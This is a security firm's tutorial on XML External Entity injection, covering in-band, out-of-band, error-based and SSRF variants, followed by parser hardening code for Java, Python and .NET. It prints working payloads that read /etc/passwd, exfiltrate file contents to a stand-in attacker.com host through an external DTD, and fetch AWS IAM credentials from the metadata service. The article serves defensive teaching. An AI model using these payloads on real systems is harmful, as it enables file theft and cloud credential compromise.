XML External Entity (XXE) Injection: Blind and Error-Based Techniques
XML External Entity (XXE) injection is a critical web security vulnerability that allows an attacker to interfere with an application's processing of XML data. Often overlooked during initial security assessments, XXE vulnerabilities can inevitably lead to Local File Inclusion (LFI), Server-Side Request Forgery (SSRF), Denial of Service (DoS), and severe data exfiltration.
In this comprehensive technical manual, the Cayvora Security team breaks down the mechanics of XXE, demystifies blind and error-based exploitation techniques, and provides definitive guidance on securing XML parsers in 2025.
Understanding XML Entities
XML (eXtensible Markup Language) is a markup language designed to store and transport data. To facilitate dynamic content, the XML standard includes "entities," which function similarly to variables.
A critical feature of XML is the Document Type Definition (DTD). DTDs define the structure and legal elements and attributes of an XML document. Within a DTD, you can declare external entities, which are custom entities whose definitions are located outside the current DTD, typically referenced by a URI or file path.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&ext;</productId></stockCheck>
When an improperly configured XML parser processes this payload, it resolves the &ext; entity by fetching the contents of the /etc/passwd file and injecting it directly into the XML document. If the application reflects the value of <productId> in its response, the attacker retrieves the server's password file.
Real Exploitation: In-Band XXE
In-band XXE is the most straightforward vector. The attacker submits an XML payload, the server parses it, resolves the external entity, and echoes the resolved data back in the HTTP response.
Vulnerable Scenario: An API that accepts XML input to check product stock.
Attacker Request:
POST /api/check-stock HTTP/1.1
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///windows/win.ini"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
Server Response:
HTTP/1.1 200 OK
Invalid product ID:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
The server blindly processes the entity and discloses the contents of the critical system file.
Advanced Techniques: Blind XXE
In many real-world scenarios, the application processes the XML but does not reflect any part of it in the response. This is known as Blind XXE. Exploiting Blind XXE requires out-of-band (OAST) interactions or error-based extraction.
1. Out-of-Band (OAST) XXE
To extract data silently, an attacker forces the XML parser to make a network request to an attacker-controlled server, appending the stolen data to the URL.
Due to parsing constraints, you typically cannot use an external entity inside the definition of another external entity within the internal DTD subset. To bypass this, attackers host an External DTD.
Step 1: The attacker hosts an external DTD file (malicious.dtd) on their server:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;
Step 2: The attacker submits the initial payload to the vulnerable application:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe; ]>
<stockCheck><productId>1</productId></stockCheck>
When the server parses the XML, it fetches malicious.dtd, reads /etc/hostname, and then makes an HTTP GET request to attacker.com, dynamically embedding the hostname in the query string.
2. Error-Based XXE
When out-of-band network access is blocked by egress egress firewalls (common in secure enterprise environments), attackers can leverage error-based XXE. The goal is to intentionally trigger an XML parsing error in such a way that the error message itself contains the contents of the target file.
The attacker uses a malicious DTD to trigger a "file not found" error, embedding the contents of the sensitive file as the filename.
Malicious DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
When parsed, the server attempts to load file:///nonexistent/root:x:0:0.... Because the file doesn't exist, the parser throws a detailed error exception that the application returns to the user, thereby leaking the file contents.
Expanding XXE to Server-Side Request Forgery (SSRF)
XXE is an incredibly potent vector for SSRF. Instead of pointing the SYSTEM entity to a local file, the attacker points it to an internal network segment, bypassing external firewalls.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
In AWS environments, this payload instructs the vulnerable parser to fetch the IAM role credentials from the AWS Instance Metadata Service (IMDS). This immediately compromises the cloud infrastructure.
For more details on cloud metadata risks, refer to our comprehensive SSRF Cloud Exploitation Guide.
Prevention and Secure Configurations
The only definitive way to prevent XXE vulnerabilities is to explicitly disable Document Type Definitions (DTDs) entirely within your application's XML parser. If DTDs are strictly necessary for application functionality, you must disable the resolution of external entities.
Java (DocumentBuilderFactory):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Disable DTDs entirely (most secure)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// If you can't completely disable DTDs, disable external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
Python (lxml):
from lxml import etree
# Use safe parsing defaults
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse('data.xml', parser)
C# / .NET:
In modern .NET Frameworks (.NET 4.6 and above, and .NET Core/.NET 5+), standard XML parsers like XmlReader are generally secure by default, as the XmlResolver is set to null. However, legacy code using XmlDocument must explicitly set the XmlResolver.
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = null; // Disables external entity fetching
xmlDoc.LoadXml(userInput);
Conclusion
XML External Entity (XXE) injection represents a fundamental breakdown in how programming languages handle structured markup formats out of the box. Security teams must ensure modern libraries are upgraded, and default settings are hardened. By outright disabling external entity resolution, developers can permanently close this vector.
Are your Parsers Secure?
Hidden XXE vulnerabilities can devastatingly expose your internal network. Schedule a dynamic penetration test with Cayvora Security.
📱 Chat with us on WhatsApp